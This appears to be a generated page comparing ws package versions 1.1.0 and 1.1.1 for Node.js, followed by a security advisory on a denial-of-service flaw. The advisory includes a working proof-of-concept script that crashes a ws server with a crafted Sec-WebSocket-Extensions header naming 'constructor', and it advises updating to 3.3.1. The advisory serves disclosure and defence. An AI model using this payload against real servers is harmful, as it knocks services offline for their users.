The ws package, a popular choice for WebSocket communication in Node.js, saw a minor version update from 1.1.0 to 1.1.1. Both versions maintain the core promise of being a simple, fast, and well-tested solution aligned with RFC-6455. Digging into the package details, the fundamental dependencies for core functionality (ultron and options) remain the same, indicating no significant architectural changes. Similarly, the development dependencies, used for testing and benchmarking (including mocha, should, istanbul, benchmark, expect.js, tinycolor, bufferutil, and utf-8-validate) are also unchanged, suggesting that the development and testing processes haven't seen major alterations.
The key difference lies in the release date. Version 1.1.1 was released on June 24, 2016, while version 1.1.0 was released earlier, on April 11, 2016. Minor version bumps typically address bug fixes, performance improvements, or small feature enhancements that don't break backward compatibility. While the specific changes aren't explicitly detailed in the provided data, developers upgrading from 1.1.0 to 1.1.1 can expect a more polished and potentially more stable experience.
For developers looking to utilize WebSockets in their Node.js projects, ws offers a robust and actively maintained library. The stability in dependencies across these versions highlights a solid foundation. While the update appears to be minor, keeping up with the latest patch versions (like 1.1.1) is generally recommended to benefit from any bug fixes or under-the-hood improvements. The consistent development dependencies also reassure developers of continued testing and maintenance.

Denial of Service in ws
Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Update to version 3.3.1 or later.
